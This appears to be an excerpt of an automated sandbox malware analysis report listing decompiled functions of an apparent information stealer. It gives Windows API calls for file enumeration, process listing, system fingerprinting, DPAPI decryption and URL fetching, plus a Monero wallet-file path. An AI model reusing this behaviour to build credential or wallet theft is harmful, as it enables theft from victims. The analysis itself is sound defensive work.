Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 958f2ffed477e1825fabd41d763f9be92bff8401c36221e8c403e20e7d3f70e7
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: 958f2ffed477e1825fabd41d763f9be92bff8401c36221e8c403e20e7d3f70e7
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 56a702683d9c0adffbdd7c2d6bdd836b84ceec4e3143d7fb4e0c96aef427dc1f
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 56a702683d9c0adffbdd7c2d6bdd836b84ceec4e3143d7fb4e0c96aef427dc1f
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 00405000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00405091
InternetCloseHandle.WININET(?), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 8d4b4392e122bcd91eb6cbcdef6bf6791ae16a35215a7d4837c727963765a102
Instruction ID: f67df024888289ecef2c8e1e6a88afb8b31ff69955b41ccf25073a76104a70c1
Opcode Fuzzy Hash: 8d4b4392e122bcd91eb6cbcdef6bf6791ae16a35215a7d4837c727963765a102
Instruction Fuzzy Hash: 473108B4A00218ABDB20CF54CD85BDDB7B5EF48304F1081E9AA09A7281C7746AC68F99

Function 0040E270 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

\*.*, xrefs: 0040E28D

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: bb970dde212ebfe7b5036637afe9145430f9a996918b422b8756d2297c1076b0
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: bb970dde212ebfe7b5036637afe9145430f9a996918b422b8756d2297c1076b0
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0112E9F8,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
RtlAllocateHeap.NTDLL(00000000), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0112E9F8,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 00409BB0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 060414a01ddb273dc634d5f76a39e2787adc138b48a8c53882215d458c88346d
Instruction ID: f149ba42a9da30d859f809a2ab8c1e99d8ca29914414c4a802b97332562e211b
Opcode Fuzzy Hash: 060414a01ddb273dc634d5f76a39e2787adc138b48a8c53882215d458c88346d
Instruction Fuzzy Hash: 0611BAB8A00209DFDB04DF94D985AAE77B5FF89300F104559ED15A7390D730AE51CF65

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
RtlAllocateHeap.NTDLL(00000000), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
